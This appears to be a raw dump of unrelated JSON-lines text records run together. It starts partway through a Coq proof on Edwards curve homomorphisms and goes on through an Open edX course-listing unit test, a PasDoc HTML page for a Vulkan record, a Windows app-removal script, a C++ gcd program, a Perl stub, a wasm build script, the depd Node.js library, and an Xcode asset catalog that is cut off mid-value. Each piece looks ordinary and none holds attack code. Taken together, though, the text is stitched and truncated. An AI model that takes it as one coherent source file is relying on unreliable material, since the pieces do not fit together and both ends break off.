}\n Qed.\n End PointCompression.\n End CompleteEdwardsCurveTheorems.\n Section Homomorphism.\n Context {F Feq Fzero Fone Fopp Fadd Fsub Fmul Finv Fdiv}\n {field:@field F Feq Fzero Fone Fopp Fadd Fsub Fmul Finv Fdiv}\n {Fchar_ge_3 : @Ring.char_ge F Feq Fzero Fone Fopp Fadd Fsub Fmul (BinNat.N.succ_pos BinNat.N.two)}\n {Feq_dec:DecidableRel Feq}.\n\n Context {Fa Fd: F}\n {nonzero_a : not (Feq Fa Fzero)}\n {square_a : exists sqrt_a, Feq (Fmul sqrt_a sqrt_a) Fa}\n {nonsquare_d : forall x, not (Feq (Fmul x x) Fd)}.\n\n Context {K Keq Kzero Kone Kopp Kadd Ksub Kmul Kinv Kdiv}\n {fieldK: @Algebra.Hierarchy.field K Keq Kzero Kone Kopp Kadd Ksub Kmul Kinv Kdiv}\n {Keq_dec:DecidableRel Keq}.\n Context {FtoK:F->K} {HFtoK:@Ring.is_homomorphism F Feq Fone Fadd Fmul\n K Keq Kone Kadd Kmul FtoK}.\n Context {KtoF:K->F} {HKtoF:@Ring.is_homomorphism K Keq Kone Kadd Kmul\n F Feq Fone Fadd Fmul KtoF}.\n Context {HisoF:forall x, Feq (KtoF (FtoK x)) x}.\n Context {Ka} {Ha:Keq (FtoK Fa) Ka} {Kd} {Hd:Keq (FtoK Fd) Kd}.\n\n Lemma nonzero_Ka : ~ Keq Ka Kzero.\n Proof using Feq_dec HFtoK HKtoF Ha HisoF Keq_dec field fieldK nonzero_a.\n rewrite <-Ha.\n Ring.pull_homomorphism FtoK.\n intro X.\n eapply (Monoid.is_homomorphism_phi_proper(phi:=KtoF)) in X.\n rewrite 2HisoF in X.\n auto.\n Qed.\n\n Lemma square_Ka : exists sqrt_a, Keq (Kmul sqrt_a sqrt_a) Ka.\n Proof using Feq_dec HFtoK Ha Keq_dec field fieldK square_a.\n destruct square_a as [sqrt_a]. exists (FtoK sqrt_a).\n Ring.pull_homomorphism FtoK. rewrite <-Ha.\n eapply Monoid.is_homomorphism_phi_proper; assumption.\n Qed.\n\n Lemma nonsquare_Kd : forall x, not (Keq (Kmul x x) Kd).\n Proof using Feq_dec HKtoF Hd HisoF Keq_dec field fieldK nonsquare_d.\n intros x X. apply (nonsquare_d (KtoF x)).\n Ring.pull_homomorphism KtoF. rewrite X. rewrite <-Hd, HisoF.\n reflexivity.\n Qed.\n\n (* TODO: character respects isomorphism *)\n Global Instance Kchar_ge_2 :\n @char_ge K Keq Kzero Kone Kopp Kadd Ksub Kmul (BinNat.N.succ_pos BinNat.N.two).\n Proof.\n intros p Hp X; apply (Fchar_ge_3 p Hp).\n eapply Monoid.is_homomorphism_phi_proper in X.\n rewrite (homomorphism_zero(zero:=Fzero)(phi:=KtoF)) in X.\n etransitivity; [|eexact X]; clear X.\n rewrite (of_Z_absorbs_homomorphism(phi:=KtoF)).\n reflexivity.\n Qed.\n\n Local Notation Fpoint := (@E.point F Feq Fone Fadd Fmul Fa Fd).\n Local Notation Kpoint := (@E.point K Keq Kone Kadd Kmul Ka Kd).\n Local Notation FzeroP := (E.zero(nonzero_a:=nonzero_a)(d:=Fd)).\n Local Notation KzeroP := (E.zero(nonzero_a:=nonzero_Ka)(d:=Kd)).\n Local Notation FaddP := (E.add(nonzero_a:=nonzero_a)(square_a:=square_a)(nonsquare_d:=nonsquare_d)).\n Local Notation KaddP := (E.add(nonzero_a:=nonzero_Ka)(square_a:=square_Ka)(nonsquare_d:=nonsquare_Kd)).\n\n Obligation Tactic := idtac.\n Program Definition point_phi (P:Fpoint) : Kpoint := exist _ (\n let (x, y) := coordinates P in (FtoK x, FtoK y)) _.\n Next Obligation.\n destruct P as [ [? ?] ?]; cbv.\n rewrite <-!Ha, <-!Hd; pull_homomorphism FtoK.\n eapply Monoid.is_homomorphism_phi_proper; assumption.\n Qed.\n\n Lemma Proper_point_phi : Proper (eq==>eq) point_phi.\n Proof using Type.\n intros P Q H.\n destruct P as [ [? ?] ?], Q as [ [? ?] ?], H as [Hl Hr]; cbv.\n rewrite !Hl, !Hr. split; reflexivity.\n Qed.\n\n Lemma lift_ismorphism : @Monoid.is_homomorphism Fpoint eq FaddP\n Kpoint eq KaddP point_phi.\n Proof using Type.\n repeat match goal with\n | |- _ => intro\n | |- Monoid.is_homomorphism => split\n | _ => progress destruct_head' @E.point\n | _ => progress destruct_head' prod\n | _ => progress destruct_head' and\n | |- context[E.add ?P ?Q] =>\n unique pose proof (Pre.denominator_nonzero_x _ nonzero_a square_a _ nonsquare_d _ _ (proj2_sig P) _ _ (proj2_sig Q));\n unique pose proof (Pre.denominator_nonzero_y _ nonzero_a square_a _ nonsquare_d _ _ (proj2_sig P) _ _ (proj2_sig Q))\n | _ => progress cbv [eq add point_phi coordinates] in *\n | |- _ /\\ _ => split\n | _ => rewrite !(homomorphism_div(phi:=FtoK)) by assumption\n | _ => rewrite !Ha\n | _ => rewrite !Hd\n | _ => Ring.push_homomorphism FtoK\n | |- _ ?x ?x => reflexivity\n | _ => eapply Monoid.is_homomorphism_phi_proper; assumption\n end.\n Qed.\n End Homomorphism.\nEnd E.\n"} {"text": "\"\"\"\nUnit tests for getting the list of courses for a user through iterating all courses and\nby reversing group name formats.\n\"\"\"\n\n\nimport unittest\n\nimport mock\nimport six\nfrom django.conf import settings\nfrom django.test.client import Client\nfrom milestones.tests.utils import MilestonesTestCaseMixin\n\nfrom openedx.core.djangoapps.content.course_overviews.models import CourseOverview\nfrom student.models import CourseEnrollment, DashboardConfiguration\nfrom student.roles import GlobalStaff\nfrom student.tests.factories import UserFactory\nfrom student.views import get_course_enrollments\nfrom util.milestones_helpers import get_pre_requisite_courses_not_completed, set_prerequisite_courses\nfrom xmodule.error_module import ErrorDescriptor\nfrom xmodule.modulestore import ModuleStoreEnum\nfrom xmodule.modulestore.django import modulestore\nfrom xmodule.modulestore.tests.django_utils import ModuleStoreTestCase\nfrom xmodule.modulestore.tests.factories import CourseFactory\n\n\nclass TestCourseListing(ModuleStoreTestCase, MilestonesTestCaseMixin):\n \"\"\"\n Unit tests for getting the list of courses for a logged in user\n \"\"\"\n ENABLED_SIGNALS = ['course_deleted']\n\n def setUp(self):\n \"\"\"\n Add a student & teacher\n \"\"\"\n super(TestCourseListing, self).setUp()\n\n self.student = UserFactory()\n self.teacher = UserFactory()\n GlobalStaff().add_users(self.teacher)\n self.client = Client()\n self.client.login(username=self.teacher.username, password='test')\n\n def _create_course_with_access_groups(self, course_location, metadata=None, default_store=None):\n \"\"\"\n Create dummy course with 'CourseFactory' and enroll the student\n \"\"\"\n metadata = {} if not metadata else metadata\n course = CourseFactory.create(\n org=course_location.org,\n number=course_location.course,\n run=course_location.run,\n metadata=metadata,\n default_store=default_store\n )\n\n CourseEnrollment.enroll(self.student, course.id)\n\n return course\n\n def tearDown(self):\n \"\"\"\n Reverse the setup\n \"\"\"\n self.client.logout()\n super(TestCourseListing, self).tearDown()\n\n @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms')\n def test_get_course_list(self):\n \"\"\"\n Test getting courses\n \"\"\"\n course_location = self.store.make_course_key('Org1', 'Course1', 'Run1')\n self._create_course_with_access_groups(course_location)\n\n # get dashboard\n courses_list = list(get_course_enrollments(self.student, None, []))\n self.assertEqual(len(courses_list), 1)\n self.assertEqual(courses_list[0].course_id, course_location)\n\n CourseEnrollment.unenroll(self.student, course_location)\n # get dashboard\n courses_list = list(get_course_enrollments(self.student, None, []))\n self.assertEqual(len(courses_list), 0)\n\n @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms')\n def test_get_limited_number_of_courses_using_config(self):\n course_location = self.store.make_course_key('Org0', 'Course0', 'Run0')\n self._create_course_with_access_groups(course_location)\n\n course_location = self.store.make_course_key('Org1', 'Course1', 'Run1')\n self._create_course_with_access_groups(course_location)\n\n # get dashboard\n courses_list = list(get_course_enrollments(self.student, None, []))\n self.assertEqual(len(courses_list), 2)\n\n with self.settings(DASHBOARD_COURSE_LIMIT=1):\n course_limit = settings.DASHBOARD_COURSE_LIMIT\n courses_list = list(get_course_enrollments(self.student, None, [], course_limit))\n self.assertEqual(len(courses_list), 1)\n\n def test_errored_course_regular_access(self):\n \"\"\"\n Test the course list for regular staff when get_course returns an ErrorDescriptor\n \"\"\"\n # pylint: disable=protected-access\n mongo_store = modulestore()._get_modulestore_by_type(ModuleStoreEnum.Type.mongo)\n course_key = mongo_store.make_course_key('Org1', 'Course1', 'Run1')\n self._create_course_with_access_groups(course_key, default_store=ModuleStoreEnum.Type.mongo)\n\n with mock.patch('xmodule.modulestore.mongo.base.MongoKeyValueStore', mock.Mock(side_effect=Exception)):\n self.assertIsInstance(modulestore().get_course(course_key), ErrorDescriptor)\n\n # Invalidate (e.g., delete) the corresponding CourseOverview, forcing get_course to be called.\n CourseOverview.objects.filter(id=course_key).delete()\n\n courses_list = list(get_course_enrollments(self.student, None, []))\n self.assertEqual(courses_list, [])\n\n def test_course_listing_errored_deleted_courses(self):\n \"\"\"\n Create good courses, courses that won't load, and deleted courses which still have\n roles. Test course listing.\n \"\"\"\n mongo_store = modulestore()._get_modulestore_by_type(ModuleStoreEnum.Type.mongo)\n\n good_location = mongo_store.make_course_key('testOrg', 'testCourse', 'RunBabyRun')\n self._create_course_with_access_groups(good_location, default_store=ModuleStoreEnum.Type.mongo)\n\n course_location = mongo_store.make_course_key('testOrg', 'doomedCourse', 'RunBabyRun')\n self._create_course_with_access_groups(course_location, default_store=ModuleStoreEnum.Type.mongo)\n mongo_store.delete_course(course_location, ModuleStoreEnum.UserID.test)\n\n courses_list = list(get_course_enrollments(self.student, None, []))\n self.assertEqual(len(courses_list), 1, courses_list)\n self.assertEqual(courses_list[0].course_id, good_location)\n\n @mock.patch.dict(\"django.conf.settings.FEATURES\", {'ENABLE_PREREQUISITE_COURSES': True})\n def test_course_listing_has_pre_requisite_courses(self):\n \"\"\"\n Creates four courses. Enroll test user in all courses\n Sets two of them as pre-requisites of another course.\n Checks course where pre-requisite course is set has appropriate info.\n \"\"\"\n course_location2 = self.store.make_course_key('Org1', 'Course2', 'Run2')\n self._create_course_with_access_groups(course_location2)\n pre_requisite_course_location = self.store.make_course_key('Org1', 'Course3', 'Run3')\n self._create_course_with_access_groups(pre_requisite_course_location)\n pre_requisite_course_location2 = self.store.make_course_key('Org1', 'Course4', 'Run4')\n self._create_course_with_access_groups(pre_requisite_course_location2)\n # create a course with pre_requisite_courses\n pre_requisite_courses = [\n six.text_type(pre_requisite_course_location),\n six.text_type(pre_requisite_course_location2),\n ]\n course_location = self.store.make_course_key('Org1', 'Course1', 'Run1')\n self._create_course_with_access_groups(course_location, {\n 'pre_requisite_courses': pre_requisite_courses\n })\n\n set_prerequisite_courses(course_location, pre_requisite_courses)\n # get dashboard\n course_enrollments = list(get_course_enrollments(self.student, None, []))\n courses_having_prerequisites = frozenset(\n enrollment.course_id for enrollment in course_enrollments\n if enrollment.course_overview.pre_requisite_courses\n )\n courses_requirements_not_met = get_pre_requisite_courses_not_completed(\n self.student,\n courses_having_prerequisites\n )\n self.assertEqual(len(courses_requirements_not_met[course_location]['courses']), len(pre_requisite_courses))\n"} {"text": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd\">\r\n<html>\r\n<head>\r\n<title>PasVulkan: vulkan: record TVkPipelineDynamicStateCreateInfo</title>\r\n<meta name=\"generator\" content=\"PasDoc 0.14.0\">\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">\r\n<link rel=\"StyleSheet\" type=\"text/css\" href=\"pasdoc.css\">\r\n</head>\r\n<body>\r\n<table class=\"container\"><tr><td class=\"navigation\">\r\n<h2>PasVulkan</h2><p><a href=\"AllUnits.html\" class=\"navigation\">Units</a></p><p><a href=\"ClassHierarchy.html\" class=\"navigation\">Class Hierarchy</a></p><p><a href=\"AllClasses.html\" class=\"navigation\">Classes, Interfaces, Objects and Records</a></p><p><a href=\"AllTypes.html\" class=\"navigation\">Types</a></p><p><a href=\"AllVariables.html\" class=\"navigation\">Variables</a></p><p><a href=\"AllConstants.html\" class=\"navigation\">Constants</a></p><p><a href=\"AllFunctions.html\" class=\"navigation\">Functions and Procedures</a></p><p><a href=\"AllIdentifiers.html\" class=\"navigation\">Identifiers</a></p><p><a href=\"GVUses.png\" class=\"navigation\">Unit dependency graph</a></p><p><a href=\"GVClasses.png\" class=\"navigation\">Classes hierarchy graph</a></p></td><td class=\"content\">\r\n<a name=\"TVkPipelineDynamicStateCreateInfo\"></a><h1 class=\"cio\">record TVkPipelineDynamicStateCreateInfo</h1>\r\n<table class=\"sections wide_list\">\r\n<tr>\r\n<td><a class=\"section\" href=\"#PasDoc-Description\">Description</a></td><td>Hierarchy</td><td><a class=\"section\" href=\"#PasDoc-Fields\">Fields</a></td><td>Methods</td><td>Properties</td></tr></table>\r\n<a name=\"PasDoc-Description\"></a><h2 class=\"unit\">Unit</h2>\r\n<p class=\"unitlink\">\r\n<a href=\"vulkan.html\">vulkan</a></p>\r\n<h2 class=\"declaration\">Declaration</h2>\r\n<p class=\"declaration\">\r\n<code>type TVkPipelineDynamicStateCreateInfo = record</code></p>\r\n<h2 class=\"description\">Description</h2>\r\n&nbsp;<h2 class=\"overview\">Overview</h2>\r\n<a name=\"PasDoc-Fields\"></a><h3 class=\"summary\">Fields</h3>\r\n<table class=\"summary wide_list\">\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><code><b><a href=\"vulkan.TVkPipelineDynamicStateCreateInfo.html#sType\">sType</a></b>:<a href=\"vulkan.html#TVkStructureType\">TVkStructureType</a>;</code></td>\r\n</tr>\r\n<tr class=\"list2\">\r\n<td class=\"itemcode\"><code><b><a href=\"vulkan.TVkPipelineDynamicStateCreateInfo.html#pNext\">pNext</a></b>:<a href=\"vulkan.html#TVkPointer\">TVkPointer</a>;</code></td>\r\n</tr>\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><code><b><a href=\"vulkan.TVkPipelineDynamicStateCreateInfo.html#flags\">flags</a></b>:<a href=\"vulkan.html#TVkPipelineDynamicStateCreateFlags\">TVkPipelineDynamicStateCreateFlags</a>;</code></td>\r\n</tr>\r\n<tr class=\"list2\">\r\n<td class=\"itemcode\"><code><b><a href=\"vulkan.TVkPipelineDynamicStateCreateInfo.html#dynamicStateCount\">dynamicStateCount</a></b>:<a href=\"vulkan.html#TVkUInt32\">TVkUInt32</a>;</code></td>\r\n</tr>\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><code><b><a href=\"vulkan.TVkPipelineDynamicStateCreateInfo.html#pDynamicStates\">pDynamicStates</a></b>:<a href=\"vulkan.html#PVkDynamicState\">PVkDynamicState</a>;</code></td>\r\n</tr>\r\n</table>\r\n<h2 class=\"description\">Description</h2>\r\n<h3 class=\"detail\">Fields</h3>\r\n<table class=\"detail wide_list\">\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><a name=\"sType\"></a><code><b>sType</b>:<a href=\"vulkan.html#TVkStructureType\">TVkStructureType</a>;</code></td>\r\n</tr>\r\n<tr><td colspan=\"1\">\r\n<p>\r\nMust be VK_STRUCTURE_TYPE_PIPELINE_DYNAMIC_STATE_CREATE_INFO</p>\r\n</td></tr>\r\n</table>\r\n<table class=\"detail wide_list\">\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><a name=\"pNext\"></a><code><b>pNext</b>:<a href=\"vulkan.html#TVkPointer\">TVkPointer</a>;</code></td>\r\n</tr>\r\n<tr><td colspan=\"1\">\r\n<p>\r\nPointer to next structure</p>\r\n</td></tr>\r\n</table>\r\n<table class=\"detail wide_list\">\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><a name=\"flags\"></a><code><b>flags</b>:<a href=\"vulkan.html#TVkPipelineDynamicStateCreateFlags\">TVkPipelineDynamicStateCreateFlags</a>;</code></td>\r\n</tr>\r\n<tr><td colspan=\"1\">\r\n<p>\r\nReserved</p>\r\n</td></tr>\r\n</table>\r\n<table class=\"detail wide_list\">\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><a name=\"dynamicStateCount\"></a><code><b>dynamicStateCount</b>:<a href=\"vulkan.html#TVkUInt32\">TVkUInt32</a>;</code></td>\r\n</tr>\r\n<tr><td colspan=\"1\">\r\n&nbsp;</td></tr>\r\n</table>\r\n<table class=\"detail wide_list\">\r\n<tr class=\"list\">\r\n<td class=\"itemcode\"><a name=\"pDynamicStates\"></a><code><b>pDynamicStates</b>:<a href=\"vulkan.html#PVkDynamicState\">PVkDynamicState</a>;</code></td>\r\n</tr>\r\n<tr><td colspan=\"1\">\r\n&nbsp;</td></tr>\r\n</table>\r\n<hr noshade size=\"1\"><span class=\"appinfo\"><em>Generated by <a href=\"http://pasdoc.sourceforge.net/\">PasDoc 0.14.0</a>. </em>\r\n</span>\r\n</td></tr></table></body></html>\r\n"} {"text": "[Info]\r\nID=Sway\r\nVer=1.0\r\nDesc=If you no longer want or use an app, then you could uninstall the app to remove it and free up space on the drive.\\n\\nThis script will remove the app Sway from current account only.\r\nDev=Mirinsoft\r\nDevURL=https://www.mirinsoft.com\r\nWinVer=Compatible with Windows 10\r\nEvaluation=Bloatware\r\nEvaluationColor=3D8836\r\nUpdate=False\r\n\r\n[Code]\r\nFile1=Run,powershell -command \"Get-AppxPackage *Office.Sway* | Remove-AppxPackage\"\r\n\r\n[Undo]\r\nInfo1=Msg,This script does not support re-installing built-in apps.\\nYou will find tutorials (e.g. with PowerShell commands) on the web how to restore them in your computer."} {"text": "#include <cstdio>\n#include <vector>\n#include <map>\n\nlong gcd (long a, long b){return (b == 0) ? a : gcd (b, a%b);}\n\nint main(){\n\n long n; scanf(\"%ld\", &n);\n std::vector<long> a(n); for(long p = 0; p < n; p++){scanf(\"%ld\", &a[p]);}\n std::vector<long> b(n); for(long p = 0; p < n; p++){scanf(\"%ld\", &b[p]);}\n\n std::map<std::pair<long, long>, long> m;\n long trivial(0);\n for(long p = 0; p < n; p++){\n if(a[p] == 0 && b[p] == 0){++trivial; continue;}\n else if(a[p] == 0){continue;}\n\n int s = 1;\n if(a[p] < 0){s *= -1; a[p] = -a[p];}\n if(b[p] < 0){s *= -1; b[p] = -b[p];}\n\n long g = gcd(a[p], b[p]);\n ++m[std::make_pair(s * b[p] / g, a[p] / g)];\n }\n\n long mx(0);\n for(std::map<std::pair<long, long>, long>::iterator it = m.begin(); it != m.end(); it++){\n long cnt = it->second;\n mx = (mx > cnt) ? mx : cnt;\n }\n\n printf(\"%ld\\n\", mx + trivial);\n\n return 0;\n}\n"} {"text": "package Mojo::Webqq::Server;\nuse base qw(Mojo::Server::Daemon);\n1;\n"} {"text": "## compile both entry point and worker file\n## specify target because by default it uses emscripten\ncd demo\ncargo web build --bin main --target=wasm32-unknown-unknown --release\ncargo web build --bin worker --target=wasm32-unknown-unknown --release\n\n## copy compiled code to static dir to be served\ncd ..\ncp target/wasm32-unknown-unknown/release/main.js demo/static/\ncp target/wasm32-unknown-unknown/release/main.wasm demo/static/\n\n# copy worker code, remove symlink for dev env\nrm -rf demo/static/worker\nmkdir -p demo/static/worker\ncp target/wasm32-unknown-unknown/release/worker.js demo/static/worker/\ncp target/wasm32-unknown-unknown/release/worker.wasm demo/static/worker/\n"} {"text": "/*!\n * depd\n * Copyright(c) 2014-2015 Douglas Christopher Wilson\n * MIT Licensed\n */\n\n/**\n * Module dependencies.\n */\n\nvar callSiteToString = require('./lib/compat').callSiteToString\nvar eventListenerCount = require('./lib/compat').eventListenerCount\nvar relative = require('path').relative\n\n/**\n * Module exports.\n */\n\nmodule.exports = depd\n\n/**\n * Get the path to base files on.\n */\n\nvar basePath = process.cwd()\n\n/**\n * Determine if namespace is contained in the string.\n */\n\nfunction containsNamespace(str, namespace) {\n var val = str.split(/[ ,]+/)\n\n namespace = String(namespace).toLowerCase()\n\n for (var i = 0 ; i < val.length; i++) {\n if (!(str = val[i])) continue;\n\n // namespace contained\n if (str === '*' || str.toLowerCase() === namespace) {\n return true\n }\n }\n\n return false\n}\n\n/**\n * Convert a data descriptor to accessor descriptor.\n */\n\nfunction convertDataDescriptorToAccessor(obj, prop, message) {\n var descriptor = Object.getOwnPropertyDescriptor(obj, prop)\n var value = descriptor.value\n\n descriptor.get = function getter() { return value }\n\n if (descriptor.writable) {\n descriptor.set = function setter(val) { return value = val }\n }\n\n delete descriptor.value\n delete descriptor.writable\n\n Object.defineProperty(obj, prop, descriptor)\n\n return descriptor\n}\n\n/**\n * Create arguments string to keep arity.\n */\n\nfunction createArgumentsString(arity) {\n var str = ''\n\n for (var i = 0; i < arity; i++) {\n str += ', arg' + i\n }\n\n return str.substr(2)\n}\n\n/**\n * Create stack string from stack.\n */\n\nfunction createStackString(stack) {\n var str = this.name + ': ' + this.namespace\n\n if (this.message) {\n str += ' deprecated ' + this.message\n }\n\n for (var i = 0; i < stack.length; i++) {\n str += '\\n at ' + callSiteToString(stack[i])\n }\n\n return str\n}\n\n/**\n * Create deprecate for namespace in caller.\n */\n\nfunction depd(namespace) {\n if (!namespace) {\n throw new TypeError('argument namespace is required')\n }\n\n var stack = getStack()\n var site = callSiteLocation(stack[1])\n var file = site[0]\n\n function deprecate(message) {\n // call to self as log\n log.call(deprecate, message)\n }\n\n deprecate._file = file\n deprecate._ignored = isignored(namespace)\n deprecate._namespace = namespace\n deprecate._traced = istraced(namespace)\n deprecate._warned = Object.create(null)\n\n deprecate.function = wrapfunction\n deprecate.property = wrapproperty\n\n return deprecate\n}\n\n/**\n * Determine if namespace is ignored.\n */\n\nfunction isignored(namespace) {\n /* istanbul ignore next: tested in a child processs */\n if (process.noDeprecation) {\n // --no-deprecation support\n return true\n }\n\n var str = process.env.NO_DEPRECATION || ''\n\n // namespace ignored\n return containsNamespace(str, namespace)\n}\n\n/**\n * Determine if namespace is traced.\n */\n\nfunction istraced(namespace) {\n /* istanbul ignore next: tested in a child processs */\n if (process.traceDeprecation) {\n // --trace-deprecation support\n return true\n }\n\n var str = process.env.TRACE_DEPRECATION || ''\n\n // namespace traced\n return containsNamespace(str, namespace)\n}\n\n/**\n * Display deprecation message.\n */\n\nfunction log(message, site) {\n var haslisteners = eventListenerCount(process, 'deprecation') !== 0\n\n // abort early if no destination\n if (!haslisteners && this._ignored) {\n return\n }\n\n var caller\n var callFile\n var callSite\n var i = 0\n var seen = false\n var stack = getStack()\n var file = this._file\n\n if (site) {\n // provided site\n callSite = callSiteLocation(stack[1])\n callSite.name = site.name\n file = callSite[0]\n } else {\n // get call site\n i = 2\n site = callSiteLocation(stack[i])\n callSite = site\n }\n\n // get caller of deprecated thing in relation to file\n for (; i < stack.length; i++) {\n caller = callSiteLocation(stack[i])\n callFile = caller[0]\n\n if (callFile === file) {\n seen = true\n } else if (callFile === this._file) {\n file = this._file\n } else if (seen) {\n break\n }\n }\n\n var key = caller\n ? site.join(':') + '__' + caller.join(':')\n : undefined\n\n if (key !== undefined && key in this._warned) {\n // already warned\n return\n }\n\n this._warned[key] = true\n\n // generate automatic message from call site\n if (!message) {\n message = callSite === site || !callSite.name\n ? defaultMessage(site)\n : defaultMessage(callSite)\n }\n\n // emit deprecation if listeners exist\n if (haslisteners) {\n var err = DeprecationError(this._namespace, message, stack.slice(i))\n process.emit('deprecation', err)\n return\n }\n\n // format and write message\n var format = process.stderr.isTTY\n ? formatColor\n : formatPlain\n var msg = format.call(this, message, caller, stack.slice(i))\n process.stderr.write(msg + '\\n', 'utf8')\n\n return\n}\n\n/**\n * Get call site location as array.\n */\n\nfunction callSiteLocation(callSite) {\n var file = callSite.getFileName() || '<anonymous>'\n var line = callSite.getLineNumber()\n var colm = callSite.getColumnNumber()\n\n if (callSite.isEval()) {\n file = callSite.getEvalOrigin() + ', ' + file\n }\n\n var site = [file, line, colm]\n\n site.callSite = callSite\n site.name = callSite.getFunctionName()\n\n return site\n}\n\n/**\n * Generate a default message from the site.\n */\n\nfunction defaultMessage(site) {\n var callSite = site.callSite\n var funcName = site.name\n\n // make useful anonymous name\n if (!funcName) {\n funcName = '<anonymous@' + formatLocation(site) + '>'\n }\n\n var context = callSite.getThis()\n var typeName = context && callSite.getTypeName()\n\n // ignore useless type name\n if (typeName === 'Object') {\n typeName = undefined\n }\n\n // make useful type name\n if (typeName === 'Function') {\n typeName = context.name || typeName\n }\n\n return typeName && callSite.getMethodName()\n ? typeName + '.' + funcName\n : funcName\n}\n\n/**\n * Format deprecation message without color.\n */\n\nfunction formatPlain(msg, caller, stack) {\n var timestamp = new Date().toUTCString()\n\n var formatted = timestamp\n + ' ' + this._namespace\n + ' deprecated ' + msg\n\n // add stack trace\n if (this._traced) {\n for (var i = 0; i < stack.length; i++) {\n formatted += '\\n at ' + callSiteToString(stack[i])\n }\n\n return formatted\n }\n\n if (caller) {\n formatted += ' at ' + formatLocation(caller)\n }\n\n return formatted\n}\n\n/**\n * Format deprecation message with color.\n */\n\nfunction formatColor(msg, caller, stack) {\n var formatted = '\\x1b[36;1m' + this._namespace + '\\x1b[22;39m' // bold cyan\n + ' \\x1b[33;1mdeprecated\\x1b[22;39m' // bold yellow\n + ' \\x1b[0m' + msg + '\\x1b[39m' // reset\n\n // add stack trace\n if (this._traced) {\n for (var i = 0; i < stack.length; i++) {\n formatted += '\\n \\x1b[36mat ' + callSiteToString(stack[i]) + '\\x1b[39m' // cyan\n }\n\n return formatted\n }\n\n if (caller) {\n formatted += ' \\x1b[36m' + formatLocation(caller) + '\\x1b[39m' // cyan\n }\n\n return formatted\n}\n\n/**\n * Format call site location.\n */\n\nfunction formatLocation(callSite) {\n return relative(basePath, callSite[0])\n + ':' + callSite[1]\n + ':' + callSite[2]\n}\n\n/**\n * Get the stack as array of call sites.\n */\n\nfunction getStack() {\n var limit = Error.stackTraceLimit\n var obj = {}\n var prep = Error.prepareStackTrace\n\n Error.prepareStackTrace = prepareObjectStackTrace\n Error.stackTraceLimit = Math.max(10, limit)\n\n // capture the stack\n Error.captureStackTrace(obj)\n\n // slice this function off the top\n var stack = obj.stack.slice(1)\n\n Error.prepareStackTrace = prep\n Error.stackTraceLimit = limit\n\n return stack\n}\n\n/**\n * Capture call site stack from v8.\n */\n\nfunction prepareObjectStackTrace(obj, stack) {\n return stack\n}\n\n/**\n * Return a wrapped function in a deprecation message.\n */\n\nfunction wrapfunction(fn, message) {\n if (typeof fn !== 'function') {\n throw new TypeError('argument fn must be a function')\n }\n\n var args = createArgumentsString(fn.length)\n var deprecate = this\n var stack = getStack()\n var site = callSiteLocation(stack[1])\n\n site.name = fn.name\n\n var deprecatedfn = eval('(function (' + args + ') {\\n'\n + '\"use strict\"\\n'\n + 'log.call(deprecate, message, site)\\n'\n + 'return fn.apply(this, arguments)\\n'\n + '})')\n\n return deprecatedfn\n}\n\n/**\n * Wrap property in a deprecation message.\n */\n\nfunction wrapproperty(obj, prop, message) {\n if (!obj || (typeof obj !== 'object' && typeof obj !== 'function')) {\n throw new TypeError('argument obj must be object')\n }\n\n var descriptor = Object.getOwnPropertyDescriptor(obj, prop)\n\n if (!descriptor) {\n throw new TypeError('must call property on owner object')\n }\n\n if (!descriptor.configurable) {\n throw new TypeError('property must be configurable')\n }\n\n var deprecate = this\n var stack = getStack()\n var site = callSiteLocation(stack[1])\n\n // set site name\n site.name = prop\n\n // convert data descriptor\n if ('value' in descriptor) {\n descriptor = convertDataDescriptorToAccessor(obj, prop, message)\n }\n\n var get = descriptor.get\n var set = descriptor.set\n\n // wrap getter\n if (typeof get === 'function') {\n descriptor.get = function getter() {\n log.call(deprecate, message, site)\n return get.apply(this, arguments)\n }\n }\n\n // wrap setter\n if (typeof set === 'function') {\n descriptor.set = function setter() {\n log.call(deprecate, message, site)\n return set.apply(this, arguments)\n }\n }\n\n Object.defineProperty(obj, prop, descriptor)\n}\n\n/**\n * Create DeprecationError for deprecation\n */\n\nfunction DeprecationError(namespace, message, stack) {\n var error = new Error()\n var stackString\n\n Object.defineProperty(error, 'constructor', {\n value: DeprecationError\n })\n\n Object.defineProperty(error, 'message', {\n configurable: true,\n enumerable: false,\n value: message,\n writable: true\n })\n\n Object.defineProperty(error, 'name', {\n enumerable: false,\n configurable: true,\n value: 'DeprecationError',\n writable: true\n })\n\n Object.defineProperty(error, 'namespace', {\n configurable: true,\n enumerable: false,\n value: namespace,\n writable: true\n })\n\n Object.defineProperty(error, 'stack', {\n configurable: true,\n enumerable: false,\n get: function () {\n if (stackString !== undefined) {\n return stackString\n }\n\n // prepare stack trace\n return stackString = createStackString.call(this, stack)\n },\n set: function setter(val) {\n stackString = val\n }\n })\n\n return error\n}\n"} {"text": "{\n \"images\" : [\n {\n \"filename\" : \"ArrowButtonLight.png\",\n \"idiom\" : \"universal\",\n \"scale\" : \"1x\"\n },\n {\n \"appearances\" : [\n {\n \"appearance\" : \"luminosity\",\n \"value\" : \"dark\"\n }\n ],\n \"filename\" : \"ArrowButtonDark.png\",\n \"idiom\" : \"universal\",\n \"scale\" : \"1x\"\n },\n {\n \"filename\" : \"ArrowButtonLight@2x.png\",\n \"idiom\" : \"universal\",\n \"scale\" : \"2x\"\n },\n {\n \"appearances\" : [\n {\n \"appearance\" : \"luminosity\",\n \"value\" : \"dark\"\n }\n ],\n \"filename\" : \"ArrowButtonDark@2x.png\",\n \"idiom\" : \"universal\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"3x\"\n },\n {\n \"appearances\" : [\n {\n \"appearance\" : \"luminosity\",\n \"value\" : \"dark\"\n }\n ],\n \"idiom\" : \"universal\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 